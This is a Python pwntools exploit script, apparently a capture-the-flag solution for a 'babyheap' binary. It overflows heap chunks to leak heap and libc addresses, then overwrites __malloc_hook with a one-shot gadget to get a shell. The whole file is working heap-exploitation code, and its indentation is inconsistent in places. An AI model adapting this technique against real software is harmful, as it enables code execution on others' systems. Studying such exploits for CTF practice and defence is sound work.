from pwn import *

context.log_level='debug'

binary='./babyheap'
libc='/lib/x86_64-linux-gnu/libc.so.6'

e=ELF(binary)
l=ELF(libc)

def Allocate(size):
	s.recvuntil('Command: ')
	s.sendline('1')
	s.recvuntil('Size: ')
	s.sendline(str(size))

def Fill(index,size,content):
	s.recvuntil('Command: ')
	s.sendline('2')
	s.recvuntil('Index: ')
	s.sendline(str(index))
	s.recvuntil('Size: ')
	s.sendline(str(size))
	s.recvuntil('Content: ')
	s.send(content)

def Free(index):
	s.recvuntil('Command: ')
	s.sendline('3')
	s.recvuntil('Index: ')
	s.sendline(str(index))

def Dump(index):
	s.recvuntil('Command: ')
	s.sendline('4')
	s.recvuntil('Index: ')
	s.sendline(str(index))


if __name__ == '__main__':

	#s=process(binary,env={'LD_PRELOAD':'./libc.so.6'})
	s=process(binary)

	Allocate(20) #index 0
	Allocate(20) #index 1
	Allocate(20) #index 2
	Allocate(20) #index 3
	Allocate(20) #index 4
	Allocate(256) #index 5
	Allocate(256) #index 6

	Free(3)
	Free(2)
	Fill(0,0x20,'A'*0x18+p64(0x81)) #->index 1 overflow 
	Free(1)
	Allocate(120) #index 1 

	fakechunk=p64(0x0)*3
	fakechunk+=p64(0x21)
	fakechunk+=p64(0x0)*3
	fakechunk+=p64(0x21)
	fakechunk+=p64(0x0)*3
	fakechunk+=p64(0x21)
	fakechunk+=p64(0x0)*3

	Fill(1,len(fakechunk),fakechunk)

	Allocate(20) #index 2
	
	Free(4)
	Free(2)

	Fill(1,0x20,'A'*0x20)
	Dump(1)	
	
	s.recvuntil('A'*0x20)
	heap_leak=u64(s.recv(8))

	Free(1)

	fakechunk=p64(0x0)*3
    fakechunk+=p64(0x21)
	fakechunk+=p64(0x0)*3
	fakechunk+=p64(0x21)
	fakechunk+=p64(heap_leak+0x20)
	fakechunk+=p64(0x0)*2
	fakechunk+=p64(0x21)
	fakechunk+=p64(0x0)*3
	fakechunk+=p64(0x21)
	fakechunk+=p64(0x0)*3
	fakechunk+=p64(0x21)

	Fill(0,len(fakechunk),fakechunk)

	Allocate(20) #index 1
	Allocate(20) #index 2

    fakechunk=p64(0x0)*3
    fakechunk+=p64(0x21)
    fakechunk+=p64(0x0)*3
    fakechunk+=p64(0x21)
    fakechunk+=p64(0x0)*3
    fakechunk+=p64(0x21)
    fakechunk+=p64(0x0)*3
    fakechunk+=p64(0x21)
    fakechunk+=p64(0x0)*3
    fakechunk+=p64(0x111)

	Fill(0,len(fakechunk),fakechunk)
	Free(5)
	
	Dump(2)

	s.recvuntil('Content:')
	s.recvuntil('\n')

	libc_leak=u64(s.recv(8))
	libc_base=libc_leak-0x3c4b78

	print "Heap address leak: "+str(hex(heap_leak))
	print "libc address leak: "+str(hex(libc_leak))
	print "libc base :"+str(hex(libc_base))

	Allocate(0x60)
	Free(3)

    fakechunk=p64(0x0)*3
    fakechunk+=p64(0x21)
    fakechunk+=p64(0x0)*3
    fakechunk+=p64(0x21)
    fakechunk+=p64(0x0)*3
    fakechunk+=p64(0x21)
    fakechunk+=p64(0x0)*3
    fakechunk+=p64(0x21)
    fakechunk+=p64(0x0)*3
	fakechunk+=p64(0x71)
	fakechunk+=p64(libc_base+l.symbols['__malloc_hook']-0x23)

    Fill(0,len(fakechunk),fakechunk)

	Allocate(0x60)
	raw_input()
	Allocate(0x60) #malloc_hook-0x23  -> index 4
	
	Fill(4,0x13+0x8,'A'*0x13+p64(libc_base+0x4526a)) #__malloc_hook overwrite oneshot_gadget

	raw_input()
	Allocate(0x20)	

	s.interactive()

